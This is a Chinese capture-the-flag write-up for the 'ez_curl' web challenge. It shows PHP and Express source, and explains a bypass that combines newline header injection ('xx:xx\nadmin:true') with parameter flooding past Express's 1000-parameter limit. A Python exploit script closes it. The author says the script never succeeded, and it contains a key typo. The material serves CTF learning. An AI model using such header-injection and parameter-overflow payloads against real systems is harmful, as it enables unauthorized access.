攻防世界——Web题ez_curl

目录

Express

PHP和Node.js的解析差异

Python代码


这道题最终得不到flag,用了很多师傅的代码也不成功。但还是需要学习

下载的附件:

javascript 复制代码
const express = require('express');

const app = express();

const port = 3000;
const flag = process.env.flag;

app.get('/flag', (req, res) => {
    if(!req.query.admin.includes('false') && req.headers.admin.includes('true')){
        res.send(flag);
    }else{
        res.send('try hard');
    }
});

app.listen({ port: port , host: '0.0.0.0'});

重点在中间那部分:

(1)!req.query.admin.includes('false') 检查URL查询参数admin的值是否包含 false 如果不包含则条件成立

(2)req.headers.admin.includes('true') 检查headers头admin的值是否包含 true

要让这两个条件都成立

再看一下源代码

php 复制代码
 <?php
highlight_file(__FILE__);
$url = 'http://back-end:3000/flag?';
$input = file_get_contents('php://input');
$headers = (array)json_decode($input)->headers;
for($i = 0; $i < count($headers); $i++){
    $offset = stripos($headers[$i], ':');
    $key = substr($headers[$i], 0, $offset);
    $value = substr($headers[$i], $offset + 1);
    if(stripos($key, 'admin') > -1 && stripos($value, 'true') > -1){
        die('try hard');
    }
}
$params = (array)json_decode($input)->params;
$url .= http_build_query($params);
$url .= '&admin=false';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt($ch, CURLOPT_TIMEOUT_MS, 5000);
curl_setopt($ch, CURLOPT_NOBODY, FALSE);
$result = curl_exec($ch);
curl_close($ch);
echo $result;

上面的代码主要是两点:

(1)for语句逐段检查Headers中是否包含:admin:true

(2)构建URL请求时会将&admin=flase加在后面

最终得到flag是通过下载的附件res.send(flag)来实现的。将这里的php代码看成中间层,js为后端,很明显二者要满足的条件完全冲突,现在就是要思考一下如何让满足后端的条件绕过中间层的检查了。

Express

express是一个流行的Node.js Web框架。其中paramterLimit选项用于指定query string 或者 request payload 的最大数量。在默认情况下,它的值为1000

而在app.js中引入了这个框架,并且没有定义paramterLimit的值

也就是说,假设我们传入的参数超过1000个时,后面的参数会被舍弃掉。然后我又注意到这行:

只要我们构造足够的垃圾字符就可以将这个给"挤"掉,第一个问题成功绕过了,接下来是如何保证传入的是:admin:true 看一下下面的条件

PHP和Node.js的解析差异

这涉及到PHP解析和Node.js解析的差异。有没有什么方法是在中间层PHP检查不出admin:true而在Node.js中可以解析出来的呢?以前学过JSON格式的%0a换行绕过,在这道题如果也采用换行绕过:\nadmin:true 但这样在PHP解析是还是会解析出来,因为键值对就这一对。但可以再加一对键值,但是是以这样的形式:xx:xx\nadmin:true

这样PHP去找第一个冒号: ,前面的键名为xx,键值为xx\nadmin:true 就能成功绕过PHP检查了。

Python代码

python 复制代码
import json
import requests

url = "http://61.147.171.105:56710/"
data = {"headers": ["xx:xx\nadmin:true", "Content-Type: application/json"],
        "params": {"admin": "true"}}
# 构造满足的data值,现已满足headers条件,还需要绕过params

for i in range(1000):
    data["param"]["x"+str(i)]=i

headers={
    "Content-Type": "application/json"
}
json1=json.dumps(data)
# 将字典转换为JSON格式的字符串
resp=requests.post(url,headers=headers,data=json1)
print(resp.content)
相关推荐
promising-w1 小时前
【运算放大器专题】基础篇
嵌入式硬件·学习
宝山哥哥1 小时前
网络信息安全学习笔记1----------网络信息安全概述
网络·笔记·学习·安全·网络安全
前端开发与ui设计的老司机1 小时前
从UI设计到数字孪生实战:构建智慧教育的个性化学习平台
学习·ui
X Y O1 小时前
神经网络初步学习3——数据与损失
人工智能·神经网络·学习
电池保护板测试仪厂家2 小时前
电池充放电容量检测:守护电动出行设备动力核心的安全防线
科技·安全·能源·制造·零售·交通物流
霖003 小时前
C++学习笔记三
运维·开发语言·c++·笔记·学习·fpga开发
深盾科技4 小时前
.NET 安全之 JIT 保护技术深度解析
安全·.net
巴伦是只猫4 小时前
【机器学习笔记 Ⅲ】1 无监督学习
笔记·学习·机器学习
武昌库里写JAVA5 小时前
vue3面试题(个人笔记)
java·vue.js·spring boot·学习·课程设计
慕y2748 小时前
Java学习第二十四部分——JavaServer Faces (JSF)
java·开发语言·学习